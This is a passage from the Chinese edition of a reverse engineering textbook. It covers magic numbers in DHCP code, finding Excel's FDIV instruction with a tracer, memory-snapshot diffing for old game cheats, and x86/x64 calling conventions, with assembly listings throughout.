当然,数据比较函数同样可以用来验证文件头中的魔数。常用的函数有:比较内存块的 memcmp()函 数,或者 CMPSB 一类的比较指令(可以参考本书附录 A.6.3)。 一旦发现某个程序开始检测其他文件的魔数标识,我们就可以确信它已经加载了某种类型的目标文 件。不止如此,我们还可以解读出文件操作的缓冲区以及它使用缓冲区的方式方法等信息。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 632 逆向工程权威指南(下册) 59.1.1 动态主机配置协议(Dynamic Host Configuration Protocol,DHCP) 网络协议同样使用了魔术。比如,DHCP 协议的网络数据就会用到魔数 0x63538263—这个魔数叫做 magic cookie。所有符合 DHCP 协议的数据包都必须使用这个魔数。如果我们找到了这个魔数,我们就可 能确定此处代码可能用于实现 DHCP 协议。不仅如此,能接受 DHCP 包的程序都必须验证这个魔数,也就 是与它做比对。 比如说,我们以 Windows 7 操作系统(64 位操作系统)中的文件 dhcpcore.dll 文件为例,我们可以在这个 文件中搜索这个魔数。结果发现了 2 次,出现在两个函数中,其名称分别是 DhcpExtractOptionsForValidation() 和 and DhcpExtractFullOptions()。 指令清单 59.2 dhcpcore.dll (Windows 7 x64) .rdata:000007FF6483CBE8 dword_7FF6483CBE8 dd 63538263h ; DATA XREF: DhcpExtractOptionsForValidation+79 .rdata:000007FF6483CBEC dword_7FF6483CBEC dd 63538263h ; DATA XREF: DhcpExtractFullOptions+97 以下列出在该程序文件中是如何使用这个魔数的: 指令清单 59.3 dhcpcore.dll (Windows 7 x64) .text:000007FF6480875F mov eax, [rsi] .text:000007FF64808761 cmp eax, cs:dword_7FF6483CBE8 .text:000007FF64808767 jnz loc_7FF64817179 指令清单 59.4 dhcpcore.dll (Windows 7 x64) .text:000007FF648082C7 mov eax, [r12] .text:000007FF648082CB cmp eax, cs:dword_7FF6483CBEC .text:000007FF648082D1 jnz loc_7FF648173AF 59.2 寻找常数 在单个文件里搜索常数时,可以使用 IDA 的搜索功能。其快捷键是 ALT-B 或 ALT-I。 在海量文件检索常量时,可以使用笔者开发的小工具—binary grep (https://github.com/yurichev/bgrep)。 它同样可以检索非可执行文件中的特定信息。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6600 章 章 检 检索 索关 关键 键指 指令 令 如果一个程序使用了为数不多的 FPU(Float Point Unit,浮点运算单元)指令,那么我们可以采用人 工排查的方式把它们逐一筛选出来。 以 Microsoft 的表格工具软件 Excel 为例。我们可能要研究它对录入公式的处理方法,例如除法操作。 首先要用 IDA 加载 Office 2010 里的 excel.exe(本章以版本号为 14.0.4756.1000 的 excel 为例),然后生 成完整的指令清单并将其保存为后缀名为.lst 的文本文件。接下来,我们就可以用终端指令检索指令清单中 的全部 FDIV 指令(Floationg Point Divide,浮点数除法)。严格说来,使用 grep 不能检索出全部的浮点数 除法运算指令。如果除数是常量,那么编译器就不太可能分配 FDIV 指令。当然这种特例不在我们的研究 范围之内。 cat EXCEL.lst | grep fdiv | grep -v dbl_ > EXCEL.fdiv 总共有 144 个匹配结果。 然后,我们在 Excel 里输入计算公式“=(1/3)”,并检查每个指令的运行结果。 在调试器(或 tracer)里逐一排查除法运算指令以后,我们幸运地发现在第 14 个 FDIV 指令就是我们 要找的指令: .text:3011E919 DC 33 fdiv qword ptr [ebx] PID=13944|TID=28744|(0) 0x2f64e919 (Excel.exe!BASE+0x11e919) EAX=0x02088006 EBX=0x02088018 ECX=0x00000001 EDX=0x00000001 ESI=0x02088000 EDI=0x00544804 EBP=0x0274FA3C ESP=0x0274F9F8 EIP=0x2F64E919 FLAGS=PF IF FPU ControlWord=IC RC=NEAR PC=64bits PM UM OM ZM DM IM FPU StatusWord= FPU ST(0): 1.000000 此时,第一个参数(被除数)被保存在 ST(0)中,而除数则保存在[EBX]中。 FDIV 后面的 FSTP 指令,将结果写入内存: .text:3011E91B DD 1E fstp qword ptr [esi] 在 FSTP 指令处设置断点,我们能看到下述运算结果: PID=32852|TID=36488|(0) 0x2f40e91b (Excel.exe!BASE+0x11e91b) EAX=0x00598006 EBX=0x00598018 ECX=0x00000001 EDX=0x00000001 ESI=0x00598000 EDI=0x00294804 EBP=0x026CF93C ESP=0x026CF8F8 EIP=0x2F40E91B FLAGS=PF IF FPU ControlWord=IC RC=NEAR PC=64bits PM UM OM ZM DM IM FPU StatusWord=C1 P FPU ST(0): 0.333333 为了验证我们的结果,我们做一个简单而有趣的试验:在内存中对具体的内存单元直接进行修改,以 便得到“直接运算可能不能生成的效果”。 比如: tracer -l:excel.exe bpx=excel.exe!BASE+0x11E91B,set(st0,666) PID=36540|TID=24056|(0) 0x2f40e91b (Excel.exe!BASE+0x11e91b) EAX=0x00680006 EBX=0x00680018 ECX=0x00000001 EDX=0x00000001 ESI=0x00680000 EDI=0x00395404 EBP=0x0290FD9C ESP=0x0290FD58 EIP=0x2F40E91B FLAGS=PF IF 异步社区会员 dearfuture(15918834820) 专享 尊重版权 634 逆向工程权威指南(下册) FPU ControlWord=IC RC=NEAR PC=64bits PM UM OM ZM DM IM FPU StatusWord=C1 P FPU ST(0): 0.333333 Set ST0 register to 666.000000 这样的话,我们在 Excel 的相关单元就会发现数字 666。从这一点可以看出,我们找到了正确的指令 位置。 图 60.1 通过修改内存发现效果 如果我们调试的是 64 位的同版本 Excel 程序,我们只会找到 12 条 FDIV 指令。而我们关注的运算指 令是第 3 个 FDIV 指令: tracer.exe -l:excel.exe bpx=excel.exe!BASE+0x1B7FCC,set(st0,666) 大概是在编译 64 位的 Excel 程序时,编译器使用 SSE 指令替代了 float 和 double 型数据的除法运算指 令。其中,SSE 指令集的 DIVSD 指令就出现了 268 次。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6611 章 章 可 可疑 疑的 的代 代码 码模 模型 型 61.1 XOR 异或指令 像 XOR op,op 或者 XOR EAX,EAX 这样的指令通常用来将某个寄存器清零。只有当 XOR 指令的两个 操作数不同的时候,它才进行真正的“异或”运算。这种实际意义上的异或运算,在常规应用程序很少见 到,反而在加密算法中比较常见,即使是业余人员编写的程序也是如此。而如果 XOR 的第二个操作数是 一个很大的数,那么这个程序就显得特别可疑。这种情况往往意味着它会进行加密或者解密、校验和等类 型的复杂计算。 需要说明的是,18.3 节介绍的编译器采用的“百灵鸟”技术同样会生成大量的 XOR 指令。不过这些 XOR 指令和加/解密等科学运算无关。 我们可以利用下述 AWK 脚本处理 IDA 生成的指令清单文件(.lst),检索其中的 xor 指令: gawk -e '$2=="xor" { tmp=substr($3, 0, length($3)-1); if (tmp!=$4) if($4!="esp") if ($4!="ebp") { print $1, $2, tmp, ",", $4 } }' filename.lst 值得注意的是,这种类型的脚本也适用于适配不正确的反汇编代码(可以参考本书第 49 章)。 61.2 手写汇编代码 当前的编译器都不会分配循环指令 LOOP 和位移循环指令 RCL。从另外一方面来讲,喜欢直接手写汇 编语言的编程人员非常熟悉这些指令。因此,如果你看到了这些指令的话,那么这部分代码十有八九由编 程人员手工编写而来。本书附录 A.6 都将这些指令添加了“(M)”标记。 手写的汇编程序很少会具备完整的函数开头和函数结尾。 通常来说,人工手写的程序没有固定的参数传递方法。 举一个例子:Windows 2003 操作系统的内核文件 ntoskrnl.exe。 MultiplyTest proc near ; CODE XREF: Get386Stepping xor cx, cx loc_620555: ; CODE XREF: MultiplyTest+E push cx call Multiply pop cx jb short locret_620563 loop loc_620555 clc locret_620563: ; CODE XREF: MultiplyTest+C retn MultiplyTest endp Multiply proc near ; CODE XREF: MultiplyTest+5 mov ecx, 81h mov eax, 417A000h mul ecx cmp edx, 2 stc jnz short locret_62057F cmp eax, 0FE7A000h stc jnz short locret_62057F 异步社区会员 dearfuture(15918834820) 专享 尊重版权 636 逆向工程权威指南(下册) clc locret_62057F: ; CODE XREF: Multiply+10 ; Multiply+18 retn Multiply endp 实际上,只要查看WRK ① ① WRK 是 Windows Research Kernel(Windows 研究内核)的缩写。 v1.2 的源代码就会发现:这部分指令确实来自于手写的汇编语言源文件 WRK-v1.2\base\ntos\ke\i386\cpu.asm。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6622 章 章 魔 魔数 数与 与程 程序 序调 调试 试 通常来说,逆向工程的主要目标理解程序处理数据的具体方法。这些数据可能来自于某个文件或者来 自于网络通信,不过数据的出处无关紧要。手工跟踪一个值往往是一项非常劳神费力的事情。为了完成这 个任务,一个最简单的方法是使用自己的特有魔数,虽然这个办法不是百分之百可靠。 在某种意义上讲,魔数的作用和 X 光的造影剂十分相似:在病人的血液里注入造影剂之后,医生就可 以增强 X 射线的观察效果、清晰地观察病人身体的内部情况。借助造影剂的作用,医生可以在 X 光机下清 晰地观察肾脏里血液的循环过程,从而更为准确地判断脏器是否存在结石或者肿瘤等问题。 魔数要尽量“打眼”。在观测 32 位数据时,我们可以将魔数设置为 0x0BADF00D (BADFOOD)、 或者 0x11101979(某人的生日,例如“1979 年 11 月 10 日”)。我们可以将这样的 4 字节数值写入到我们要 调查的程序之中。 接着,我们可以利用 tracer 的代码覆盖率模式(code coverage/cc 模式)跟踪程序,再利用 grep 或者直 接搜索文本文件(跟踪结果的文本文件),我们就能够很容易地发现这些值的调用点及处理方法。 在代码覆盖率模式(cc 模式)下,使用 tracer 跟踪程序并生成与 grep 兼容的输出(grepable)文件。 其结果大致如下所示: 0x150bf66 (_kziaia+0x14), e= 1 [MOV EBX, [EBP+8]] [EBP+8]=0xf59c934 0x150bf69 (_kziaia+0x17), e= 1 [MOV EDX, [69AEB08h]] [69AEB08h]=0 0x150bf6f (_kziaia+0x1d), e= 1 [FS: MOV EAX, [2Ch]] 0x150bf75 (_kziaia+0x23), e= 1 [MOV ECX, [EAX+EDX*4]] [EAX+EDX*4]=0xf1ac360 0x150bf78 (_kziaia+0x26), e= 1 [MOV [EBP-4], ECX] ECX=0xf1ac360 我们同样可以在网络数据包中构造魔数。使用魔数的关键在于:要使用不会重复的且不会在程序里出 现的标志性数据。 除了跟踪器tracer之外,MS-DOS模拟器(DosBox)也可以用来观测魔数。在heavydebug(重度调试) 模式下,DosBox可以把执行每条指令时的寄存器状态输出到纯文本文件 ① ① 关于 MS-DOS 模拟器(DosBox)的特性可以查询以下博客:https://yurichev.com/blog/55/。 。因此,我们同样可以利用魔数 来调试DOS程序。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6633 章 章 其 其他 他的 的事 事情 情 63.1 总则 逆向工程人员应当尽可能地以编程人员的角度来分析问题。要理解他们的观点、并且时常扪心自问: 如果自己是编程人员的话,自己会如何设计程序。 63.2 C++ 在分析 C++的 class 时,本书 51.1.5 节中讲到的 RTTI 数据可能就是分析的重点。 63.3 部分二进制文件的特征 在十六进制的编辑器里,16 位/32 位/64 位数据数组的特征十分明显。本节以一个很简单的 MIPS 程序 为例。前文介绍过:每个 MIPS 指令都是整齐的 32 位(即 4 字节)指令。当然 ARM 模式或者 ARM64 模 式的程序也有这个特点。因此,在形式上这些程序的指令都构成了某种 32 位数组。 图 63.1 所示的屏幕截图,就表现出这种数组特征。笔者添加了 3 条红色的垂直线,以突出这种现象: 图 63.1 Hiew:一个非常典型的 MIPS 代码 此外,本书第 86 章介绍了另外一个典型的例子。 63.4 内存“快照”对比 这种内存“快照”的对比技术可以凸显出内存中变化的数据,过去就常见于 8 位游戏的作弊领域。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 63 章 其他的事情 639 如果您在老式的 8 位游戏机(这些机器通常内存不大,而游戏本身占用的内存更少)上启动一个游戏, 您就可能看到部分游戏数据—例如,现在装有 100 颗子弹。这时你就可以将所有的内存空间做一个镜像。 把镜像存为文件后,您可以先开一枪,这时子弹的剩余数量会显示为 99 发。这个时候,你再对整个内存空 间做另外一个影像。我们对这两个内存影像进行比对,肯定某个字节的数值从 100 降为 99。 考虑到这些 8 位的游戏程序一般都是汇编语言程序,而且各变量都是全局变量。因此基于以上的对比 结果,我们就能分析出是哪个内存地址存放着子弹的数量。有了这个关键的突破点,我们接着就可以在游 戏程序的汇编代码(需要进行反汇编处理)中搜索那些指令引用了这个地址,就不难发现对子弹总数进行 递减运算的那条指令。然后,我们把相关指令换成 NOP,就能保证子弹总数保持 100 不变。 在 8 位游戏机上运行的游戏程序,总是会被加载在固定的内存地址。此外,同款游戏的发行版本也比 较固定(一旦热销也就不会再进行什么升级了)。因此铁杆玩家们都知道改写哪些地址就能“黑掉”这些游 戏了。他们通常会用 BASIC 语言的单字节赋值指令 POKE 直接向已知地址写入特定字节。甚至在一些杂 志中,常常会出现一些关于 8 位机的 POKE 指令列表。 与此类似,修改游戏分数排行榜也比较容易,而且它不仅仅适用于 8 位游戏。首先,记录一下自己的 游戏得分并将存盘文件备份出来。当排行榜的总分出现变化时,再备份一次存盘文件。接下来,我们可以 用 DOS 系统自带的二进制文件比较工具 FC 直接比对两个文件(存盘文件是二进制文件)。两个文件肯定 有几个字节发生了变化,直接修改这些数值就可以调整游戏得分。然而,现在的游戏开发团队通常都非常 清楚这些伎俩,因此可能会开发一些程序来应对这些措施。 其他类似的例子可以在本书的第 85 章中找到。 63.4.1 Windows 注册表 在安装一个程序以后,我们就能比对安装前后 Windows 的注册表。这是一个非常流行的方法,可以用 来确认特定程序使用了哪些注册表键值。这也许就是“Windows 注册表清理”程序颇为流行的原因。 63.4.2 瞬变比较器 Blink-comparator 在介绍了文件比对和内存快照比对的方法之后,笔者不禁想起了瞬变比较器/Blink-comparator(https://en. wikipedia.org/wiki/Blink_comparator):过去,它曾是天文学家观测天体移动的一种相片比对设备。它能够 快速地切换不同时期拍摄的照片,以便天文学家通过肉眼快速地发现两图之间的区别。 实际上,正是借助于瞬变比较器,人们才在 1930 年发现了冥王星。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第六 六部 部分 分 操 操作 作系 系统 统相 相关 关 异步社区会员 dearfuture(15918834820) 专享 尊重版权 710 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6644 章 章 参 参数 数的 的传 传递 递方 方法 法( (调 调用 用规 规范 范) ) 64.1 cdecl [C Declaration 的缩写] 这是 C/C++语言最常使用的参数传递方法。 调用方函数逆序向被调用方函数传递参数:以“最后(右侧)的参数、倒数第二……至第一个参数” 的顺序传递参数。被调用方函数退出后,应由调用方函数调整栈指针 ESP、将栈恢复成调用其他函数之前 的原始状态。 指令清单 64.1 cdecl push arg3 push arg2 push arg1 call function add esp, 12 ; returns ESP 64.2 stdcall [Standard Call 的缩写] 这种调用方式与上面提到的 cdecl 规范类似,只是有一点不同:被调用方函数在返回之前会执行“RET x”指令还原参数栈,而不会使用单纯的“RET”指令直接返回。这里的 x 的数值的计算方式是:x=参数个 数*指针的大小(注意:指针的大小在 x86 结构中的值是 4,而在 x64 中是 8)。这样调用方函数本身就不会 调整栈指针,因此调用方函数不会因此使用类似于“add esp,x”这样的指令。 指令清单 64.2 stdcall push arg3 push arg2 push arg1 call function function: ... do something ... ret 12 此类约定在 Win32 的标准库文件中十分常见。然而因为 Win64 系统遵循调用约定的是 Win64 规范, 所以 Win64 的库文件里不会出现 stdcall 的标志性操作指令。 以本书 8.1 节中的函数为例。我们给其中的函数增加__stdcall 限定符即可强制它使用 stdcall 调用 约定: int __stdcall f2 (int a, int b, int c) { return a*b+c; }; 它的编译结果与本书 8.2 节类似,但是最后的指令从 RET 变成了 RET 12。在遵循 stdcall 约定之后, 栈指针 SP 不再由调用方函数更新了。 这样一来,我们就可以通过函数尾部的 RETN N 指令直观地推算出外来参数的个数。计算方法就是: N 除以 4。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 644 逆向工程权威指南(下册) 指令清单 64.3 MSVC 2010 _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _c$ = 16 ; size = 4 _f2@12 PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] imul eax, DWORD PTR _b$[ebp] add eax, DWORD PTR _c$[ebp] pop ebp ret 12 ; 0000000cH _f2@12 ENDP ; ... push 3 push 2 push 1 call _f2@12 push eax push OFFSET $SG81369 call _printf add esp, 8 64.2.1 带有可变参数的函数 在 C/C++语言的标准函数中,printf()一类的函数可能是仅存的几个带有可变参数的函数。借助这类函 数的帮助,我们能比较容易地观察出 cdecl 和 stdcall 调用规范之间的区别。我们首先假定编译器知道 printf()函 数的参数总数。然而,在 Windows 环境下,printf()属于预先编译好的库函数,直接由文件 MSVCRT.DLL 提供。所以,我们无法通过从它的函数代码入手获悉可变参数的处理方式;但是另一方面,我们知道它肯 定会处理格式化字符串。如果 printf()函数当真采取了 stdcall 规范、根据格式化字符串统计变参的数量并且 在函数尾声恢复栈指针,那么这种局面就十分危险了:万一程序员打错了几个字母,程序就会崩溃。由此 可知,对于那些带有可变参数的函数而言,cdecl 规范要比 stdcall 规范更好一些。 64.3 fastcall 这个调用约定优先使用寄存器传递参数,无法通过寄存器传递的参数则通过栈传递给被调用方函数。 因为 fastcall 约定在内存栈方面的访问压力比较小,所以在早期的 CPU 平台上遵循 fastcall 规范的程序会比 遵循 stdcall 和 cdecl 规范的程序性能更高。但是在现在的、更为复杂的 CPU 平台上,fastcall 规范的性能优 势就不那么明显了。 这种调用约定没有统一的技术规范,不同的编译器有着各自不同的实现方法。因此在使用这种约定时, 我们需要特别小心:如果用两个不同的编译器编译出来了 2 个相互调用的、遵循 fastcall 规范的 DLL 库, 那么这种互相调用的访问操作基本都会出现故障。 不管是 MSVC 还是 GCC 都使用 ECX 和 EDX 传递第一个和第二个参数,用栈传递其余的参数。此外, 应由被调用方函数调整栈指针、把参数栈恢复到调用之前的初始状态(这一点与 stdcall 类似)。 指令清单 64.4 fastcall push arg3 mov edx, arg2 mov ecx, arg1 call function function: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 64 章 参数的传递方法(调用规范) 645 .. do something .. ret 4 我们还是以本书 8.1 节中的例子来说明,把它稍微变化一下,增加一个修饰符号: int __fastcall f3 (int a, int b, int c) { return a*b+c; }; 编译完成后,我们看到的结果如下所示。 指令清单 64.5 MSVC 2010/OB0 _c$ = 8 ; size = 4 @f3@12 PROC ; _a$ = ecx ; _b$ = edx mov eax, ecx imul eax, edx add eax, DWORD PTR _c$[esp-4] ret 4 @f3@12 ENDP ; ... mov edx, 2 push 3 lea ecx, DWORD PTR [edx-1] call @f3@12 push eax push OFFSET $SG81390 call _printf add esp, 8 从以上程序我们可以看到,函数调用采用了指令 RET N 带一个操作数的方式返回 SP 堆栈指针。由此 可以判断,调用方函数通过栈传递了多少个外部参数。 64.3.1 GCC regparm 从某种意义上来讲,GCC regparm 由 fastcall 进化而来。这种规范允许编程人员通过编译选项“-mregparm” 设置通过寄存器传递的参数总数(最大值为 3)。换句话说,这种规范最多可通过 3 个寄存器,即 EAX、EDX 和 ECX 传递函数参数。 当然,如果“-mregparm”的值小于 3,那么就不会全面使用这三个寄存器。 这种约定要求调用方函数在调用过程结束以后调整栈指针,将参数栈恢复到其初始状态。 有关案例请参阅本书的 19.1.1 节。 64.3.2 Watcom/OpenWatcom 这被称为“寄存器调用规范”。头四个参数由寄存器 EAX、EDX、EBX 和 ECX 传递,其余的所有参 数都则通过堆栈传递。在使用这种调用约定时,函数必须其函数名前添加标识符“__watcom”,与其他采 用不同调用规范的函数区分开来。 64.4 thiscall 这是一种方便 C++类成员调用 this 指针而特别设定的调用规范。 MSVC 使用 ECX 寄存器传递 this 指针。 而 GCC 则把 this 指针作为被调用方函数的第一个参数传递。在汇编层面,这个指针显而易见:所有的 异步社区会员 dearfuture(15918834820) 专享 尊重版权 646 逆向工程权威指南(下册) 类函数都比源代码多出来一个参数。 有关详情,请参阅本书的 51.1.1 节。 64.5 64 位下的 x86 64.5.1 Windows x64 64 位环境下的参数传递方法在某种程度上与 fastcall 函数比较类似:头四个参数由寄存器 RCX、RDX、 R8 和 R9 传递,而其余的参数都通过栈来传递。调用方函数必须预留 32 个字节或者 4 个 64 位的存储空间, 以便被调用方函数保存头四个参数。小型函数可以仅凭寄存器就获取所有参数,而大型函数就可能需要保 存这些传递参数的寄存器,把它们腾挪出来供后续指令调用。 调用方函数负责调整栈指针到其初始状态。 此外,Windows x86-64 系统的 DLL 文件也采用了这种调用规范。也就是说,虽然 Win32 系统 API 遵循 的是 stdcall 规范,但是 Win64 系统遵循的是 Win64 规范、不再使用 stdcall 规范。 以下述程序为例: #include <stdio.h> void f1(int a, int b, int c, int d, int e, int f, int g) { printf ("%d %d %d %d %d %d %d\n", a, b, c, d, e, f, g); }; int main() { f1(1,2,3,4,5,6,7); }; 指令清单 64.6 MSVC 2012 /0b $SG2937 DB '%d %d %d %d %d %d %d', 0aH, 00H main PROC sub rsp, 72 ; 00000048H mov DWORD PTR [rsp+48], 7 mov DWORD PTR [rsp+40], 6 mov DWORD PTR [rsp+32], 5 mov r9d, 4 mov r8d, 3 mov edx, 2 mov ecx, 1 call f1 xor eax, eax add rsp, 72 ; 00000048H ret 0 main ENDP a$ = 80 b$ = 88 c$ = 96 d$ = 104 e$ = 112 f$ = 120 g$ = 128 f1 PROC $LN3: mov DWORD PTR [rsp+32], r9d mov DWORD PTR [rsp+24], r8d 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 64 章 参数的传递方法(调用规范) 647 mov DWORD PTR [rsp+16], edx mov DWORD PTR [rsp+8], ecx sub rsp, 72 ; 00000048H mov eax, DWORD PTR g$[rsp] mov DWORD PTR [rsp+56], eax mov eax, DWORD PTR f$[rsp] mov DWORD PTR [rsp+48], eax mov eax, DWORD PTR e$[rsp] mov DWORD PTR [rsp+40], eax mov eax, DWORD PTR d$[rsp] mov DWORD PTR [rsp+32], eax mov r9d, DWORD PTR c$[rsp] mov r8d, DWORD PTR b$[rsp] mov edx, DWORD PTR a$[rsp] lea rcx, OFFSET FLAT:$SG2937 call printf add rsp, 72 ; 00000048H ret 0 f1 ENDP 从以上的程序,我们可以很清楚地看到 7 个参数的传递过程。程序通过寄存器传递前 4 个参数、再通 过栈传递了其余 3 个参数。f1()函数通过序言部分的指令,把传递参数的四个寄存器的外来值存储到“暂存 空间/scratch space”里——这正是暂存空间的正确用法。编译器无法实现确定缺少了这 4 个寄存器之后, 后续代码是否还有足够的寄存器可用,所以会把这 4 个寄存器的数据保管起来,以方便掉配这 4 个寄存器。 Win64 调用规范约定:应由调用方函数分配暂存空间给被调用方函数使用。 指令清单 64.7 优化的 MSVC 2012/0b $SG2777 DB '%d %d %d %d %d %d %d', 0aH, 00H a$ = 80 b$ = 88 c$ = 96 d$ = 104 e$ = 112 f$ = 120 g$ = 128 f1 PROC $LN3: sub rsp, 72 ; 00000048H mov eax, DWORD PTR g$[rsp] mov DWORD PTR [rsp+56], eax mov eax, DWORD PTR f$[rsp] mov DWORD PTR [rsp+48], eax mov eax, DWORD PTR e$[rsp] mov DWORD PTR [rsp+40], eax mov DWORD PTR [rsp+32], r9d mov r9d, r8d mov r8d, edx mov edx, ecx lea rcx, OFFSET FLAT:$SG2777 call printf add rsp, 72 ; 00000048H ret 0 f1 ENDP main PROC sub rsp, 72 ; 00000048H mov edx, 2 mov DWORD PTR [rsp+48], 7 异步社区会员 dearfuture(15918834820) 专享 尊重版权 648 逆向工程权威指南(下册) mov DWORD PTR [rsp+40], 6 lea r9d, QWORD PTR [rdx+2] lea r8d, QWORD PTR [rdx+1] lea ecx, QWORD PTR [rdx-1] mov DWORD PTR [rsp+32], 5 call f1 xor eax, eax add rsp, 72 ; 00000048H ret 0 main ENDP 即使我们启用编译器的优化选项编译上述代码,编译器仍然会生成基本相同的指令;只是它不再分配 上面提到的“零散空间”,因为已经不需要它了。 另外,我们也看到:在启用优化编译选项之后,MSVC 2012 将是一 LEA 指令(请参阅附录 A.6.2)进 行数值传递。笔者并不确定它分配的这种指令是否能够提升运行效率,或许真有这种作用吧。 另外,本书的 74.1 节介绍了另外一个 Win64 调用约定的程序。有兴趣的读者可去看一下。 64 位下的 Windows:在 C/C++下传递 this 指针 C/C++编译器会使用 RCX 寄存器传递类对象的 this 指针、用 RDX 寄存器传递函数所需的第一个参数。 关于这个方面的例子,可以查看本书的 51.1.1 节。 64.5.2 64 位下的 Linux 64 位 Linux 程序传递参数的方法和 64 位 Windows 程序的传递方法几乎相同。区别在于,64 位 Linux 程序使用 6 个寄存器(RDI、RSI、RDX、RCX、R8、R9)传递前几项参数,而 64 位 Windows 则只利用 4 个寄存器传递参数。另外,64 位 Linux 程序没有上面提到的“零散空间”这种概念。如果被调用方函数的 寄存器数量紧张,它就可以用栈存储外来参数,把相关寄存器腾出来使用。 指令清单 64.8 优化的 GCC 4.7.3 .LC0: .string "%d %d %d %d %d %d %d\n" f1: sub rsp, 40 mov eax, DWORD PTR [rsp+48] mov DWORD PTR [rsp+8], r9d mov r9d, ecx mov DWORD PTR [rsp], r8d mov ecx, esi mov r8d, edx mov esi, OFFSET FLAT:.LC0 mov edx, edi mov edi, 1 mov DWORD PTR [rsp+16], eax xor eax, eax call __printf_chk add rsp, 40 ret main: sub rsp, 24 mov r9d, 6 mov r8d, 5 mov DWORD PTR [rsp], 7 mov ecx, 4 mov edx, 3 mov esi, 2 mov edi, 1 call f1 add rsp, 24 ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 64 章 参数的传递方法(调用规范) 649 在上述指令操作 EAX 寄存器的时候,它只把数据写到了 RAX 寄存器的低 32 位(即 EAX)而没有直 接操作整个 64 位 RAX 寄存器。这是因为:在操作寄存器的低 32 位的时候,该寄存器的高 32 位会被自动清 零。或许,这只是把 x86 代码移植到 x86-64 平台时的偷懒做法。 64.6 单/双精度数型返回值 除了 Win64 规范以外的所有的调用规范都规定:当返回值为单/双精度浮点型数据时,被调用方函数应 当通过 FPU 寄存器 ST(0)传递返回值。而 Win64 规范规定:被调用方函数应当通过 XMM0 寄存器的低 32 位(float)或低 64 位寄存器(double)返回单/双精度浮点型数据。 64.7 修改参数 C/C++和其他语言的编程人员可能都曾问过这样一个问题:如果被调用方函数修改了外来参数的值,将 会发生什么情况?答案十分简单:外来参数都是通过栈传递的,因此被调用方函数修改的是栈里的数据。在 被调用方函数退出以后,调用方函数不会再访问自己传递给别人的参数。 #include <stdio.h> void f(int a, int b) { a=a+b; printf ("%d\n", a); }; 指令清单 64.9 MSVC 2012 _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _f PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] add eax, DWORD PTR _b$[ebp] mov DWORD PTR _a$[ebp], eax mov ecx, DWORD PTR _a$[ebp] push ecx push OFFSET $SG2938 ; '%d', 0aH call _printf add esp, 8 pop ebp ret 0 _f ENDP 由此可见,只要这些参数不是 C++的引用指针/references(本书的 51.3 节)也不是数据指针,那么被 调用方函数可以随便操作外部传来的参数。 理论上讲,在被调用方函数结束以后,调用方函数能够获取被调用方函数修改过的参数,对它们 加以进一步利用。然而实际上我们只能在手写的汇编指令中遇到这种情况,C/C++语言并不支持这种 访问方法。 64.8 指针型函数参数 我们可以给函数参数分配一个指针,把它调配给其他函数: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 650 逆向工程权威指南(下册) #include <stdio.h> // located in some other file void modify_a (int *a); void f (int a) { modify_a (&a); printf ("%d\n", a); }; 要不是看了下面的汇编代码,我们一时还很难理解这段程序是如何运行的。 指令清单 64.10 MSVC 2010 的优化 $SG2796 DB '%d', 0aH, 00H _a$ = 8 _f PROC lea eax, DWORD PTR _a$[esp-4] ; just get the address of value in local stack push eax ; and pass it to modify_a() call _modify_a mov ecx, DWORD PTR _a$[esp] ; reload it from the local stack push ecx ; and pass it to printf() push OFFSET $SG2796 ; '%d' call _printf add esp, 12 ret 0 _f ENDP 变量 a 的地址通过栈传递给了一个函数,然后这个地址又被传递给了另外一个函数。第一个函数修改 了变量 a 的值,而后 printf()函数获取到了这个修改后的变量值。 细心的读者可能会问:使用一种直接通过寄存器传递参数的调用约定,又会是什么情况呢? 即便真地使用了这种调用约定,还会有阴影空间(Shadow Space)的问题。传递的数值将会从寄存器 保存到了本地栈的阴影空间里,然后以地址的形式传递给其他函数。 指令清单 64.11 优化的 MSVC 2012(64 位) $SG2994 DB '%d', 0aH, 00H a$ = 48 f PROC mov DWORD PTR [rsp+8], ecx ; save input value in Shadow Space sub rsp, 40 lea rcx, QWORD PTR a$[rsp] ; get address of value and pass it to modify_a() call modify_a mov edx, DWORD PTR a$[rsp] ; reload value from Shadow Space and pass it to printf() lea rcx, OFFSET FLAT:$SG2994 ; '%d' call printf add rsp, 40 ret 0 f ENDP GCC 也将输入的数值保存到本地栈。 指令清单 64.12 优化的 GCC 4.9.1(64 位) .LC0: .string "%d\n" f: sub rsp, 24 mov DWORD PTR [rsp+12], edi ; store input value to the local stack lea rdi, [rsp+12] ; take an address of the value and pass it to modify_a() call modify_a 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 64 章 参数的传递方法(调用规范) 651 mov edx, DWORD PTR [rsp+12] ; reload value from the local stack and pass it to printf() mov esi, OFFSET FLAT:.LC0 ; '%d' mov edi, 1 xor eax, eax call __printf_chk add rsp, 24 ret ARM64 下的 GCC 也已同样的方式传递参数。只是在这个平台上,这个空间被称为“寄存器(内容) 保存区(Register Save Area)”。 指令清单 64.13 优化的 GCC 4.9.1 ARM64 f: stp x29, x30, [sp, -32]! add x29, sp, 0 ; setup FP add x1, x29, 32 ; calculate address of variable in Register Save Area str w0, [x1,-4]! ; store input value there mov x0, x1 ; pass address of variable to the modify_a() bl modify_a ldr w1, [x29,28] ; load value from the variable and pass it to printf() adrp x0, .LC0 ; '%d' add x0, x0, :lo12:.LC0 bl printf ; call printf() ldp x29, x30, [sp], 32 ret .LC0: .string "%d\n" 另外,与阴影空间(Shadow Space)的有关话题还可以参阅本书的 46.1.2 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6655 章 章 线 线程 程本 本地 地存 存储 储 